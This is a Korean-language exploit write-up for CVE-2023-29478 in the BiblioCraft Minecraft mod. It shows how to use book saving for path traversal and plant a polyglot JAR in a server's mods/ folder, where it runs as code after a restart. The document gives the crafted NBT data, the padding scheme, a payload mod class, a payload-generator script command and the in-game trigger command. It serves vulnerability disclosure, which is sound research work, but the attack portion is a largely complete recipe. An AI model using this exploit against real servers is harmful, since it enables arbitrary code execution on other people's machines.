
CVE-2023-29478 - v2.4.6 이전 버전의 BiblioCraft에 영향을 미치는 파일 조작/원격 코드 실행 익스플로잇
이 방법은 BiblioCraft만 필요합니다! 별도의 속임수 없이, 코드 실행을 위해 다른 모드가 필요하지 않습니다!
CoreTweaks에 초점을 맞춘 원본 분석 문서는 여기에서 찾을 수 있습니다. 아래에서 일부 세부 사항을 생략할 수 있으므로 먼저 이 문서를 읽어보시길 권장합니다.
여러 방법을 통해 코드 실행이 가능합니다. 이는 BiblioCraft 1.7.10 v1.11.7 및 BiblioCraft 1.12.2 v2.4.5에 영향을 미치며(확인됨), v2.4.6 이전의 모든 BiblioCraft 버전에도 영향을 미칠 가능성이 높습니다(미확인, 미테스트).
경로 탐색(path traversal) 버그를 수정하는 기존 패치가 있더라도 이 새로운 코드 실행 경로는 여전히 차단되지 않습니다.
이번에는 바닐라(Vanilla) 서적 저장 기능에 초점을 맞춥니다.
글로 쓰인 책들은 world/books/<author-name>, <book-title>에 저장됩니다.
이 책들의 형식은 줄 단위로 다음과 같습니다:
처음부터 계속해서, 책의 페이지는 마커 #pgx<page-number>로 시작되며, 다음 줄부터 다음 마커까지가 해당 페이지의 일부가 됩니다. BiblioCraft는 그 뒤에 아무 내용이 없더라도 항상 줄 끝에 개행 문자를 추가합니다.
이전과 마찬가지로, 우리는 책의 NBT 태그를 통해 책 제목과 저자 이름을 모두 제어할 수 있을 뿐만 아니라 경로 탐색도 수행할 수 있습니다.
우리가 작성할 대상 위치는 mods/ 폴더입니다. 이 디렉토리의 모드는 대부분 JAR 파일로 저장됩니다. JAR 파일의 멋진 속성 중 하나는 실제로는 ZIP 파일이라는 점입니다.
그렇다면 이것이 왜 우리에게 도움이 될까요?
ZIP 파일에는 앞이나 뒤에 쓰레기 데이터가 추가되어도 여전히 유효할 수 있는 흥미로운 속성이 있습니다.
ZIP 파일 내의 EOCD (End of central directory) 레코드는 끝에 위치합니다.
이는 (대략) 매직/시그니처 0x06054b50와 아카이브 내 중앙 디렉토리 레코드의 개수, 크기 및 오프셋으로 구성됩니다.
EOCD 레코드의 마지막 필드는 길이 접두사가 붙은 주석(comment)이며, 이는 매직이 아닌 거의 모든 바이트 시퀀스가 될 수 있습니다 (테스트되지 않음).
(ZIP 파서는 파일 끝에서부터 시작하여 EOCD 시그니처를 찾아 아카이브를 파싱한다고 생각하지만, 완전히 확신하지는 않습니다.)
ZIP 파서가 아카이브 내 파일을 찾는 데 필요한 것이 EOCD 레코드뿐이고, EOCD 레코드 뒤에 (제한적으로) 어떤 데이터든 올 수 있다면, 파일 내에 다른 데이터가 있더라도 유효한 ZIP을 만들 수 있습니다.
(https://github.com/c0ny1/ascii-jar에 큰 공을 돌립니다! 이 도구들을 많이 사용했습니다!)
먼저, 페이로드를 구성해야 합니다. Forge는 특별한 어노테이션 @Mod가 있는 클래스를 모드로 로드하므로, 여기서 이를 사용하겠습니다.
대략적인 페이로드:
@Mod(modid = "payload-mod")
public class Payload {
// ...
static {
System.out.println("Hello World!");
}
// ...
}
인코딩 문제를 피하기 위해, 우리는 페이로드 클래스만 포함하는 ASCII 전용 JAR 파일을 생성하는 스크립트를 사용합니다.
우리는 앞부분을 PK\3\4.jar\n../../mods/\nprivate\n#pgx0\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA로 패딩합니다.
패딩 앞에 PK\3\4(ZIP의 로컬 파일 헤더 시그니처)를 붙이는 이유는 Forge의 이상한 특성 때문입니다. ZIP의 요구 사항이 아님에도 불구하고 JAR 파일이 이 시그니처로 시작하는지 확인하는 동작을 Forge 외부에서는 재현할 수 없었습니다. Forge의 버그일 수도 있습니다.
우리는 오프셋이 255보다 크도록 긴 'A'와 'a' 문자열을 사용하여, 오프셋을 인코딩하는 2바이트 정수에 ASCII 범위를 벗어난 바이트가 없도록 합니다.
끝부분은 \n으로 패딩하여 BiblioCraft가 개행 문자를 추가할 때 발생하는 문제를 피합니다.
새로 패딩된 JAR로, 앞부분을 패딩한 데이터의 마지막 개행 문자 다음에 오는 모든 바이트를 가져와 새 String으로 만든 다음(이를 *<jar-data>*라고 부릅니다), 다음 NBT 데이터로 새 글로 쓰인 책을 만듭니다:
TAG_Compound(''): 2 entries
{
TAG_String("author"): "../../mods/"
TAG_String("title"): "PK\3\4.jar"
TAG_List("pages"): 1 entry
{
TAG_String(None): "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + <jar-data>
}
}
이 책을 BiblioCraft를 통해 디스크에 저장하면, 모든 패딩 데이터는 해당 형식에 의해 "재생성"되어 우리의 JAR이 다시 유효해집니다.
그리고 이제, 서버가 다음에 재부팅될 때 (일반적인 재시작이든, 크래시를 유발하든) 우리의 모드 JAR이 로드되고 우리의 코드가 실행됩니다.
BiblioPOC/tools/ 에 유효한 페이로드 생성을 돕는 Python3 스크립트가 있습니다.
인자는 다음과 같습니다:
python3 create_payload.py [java_file] [forge_jar_location] [class_name] [output_dir]
그런 다음, 게임 내에서 BiblioCraft 아틀라스를 들고 있을 때
/jarpoccommand [completed_jar_path]를 실행하세요. 여기서 [completed_jar_path]는 [output_dir]/completed.jar의 경로입니다.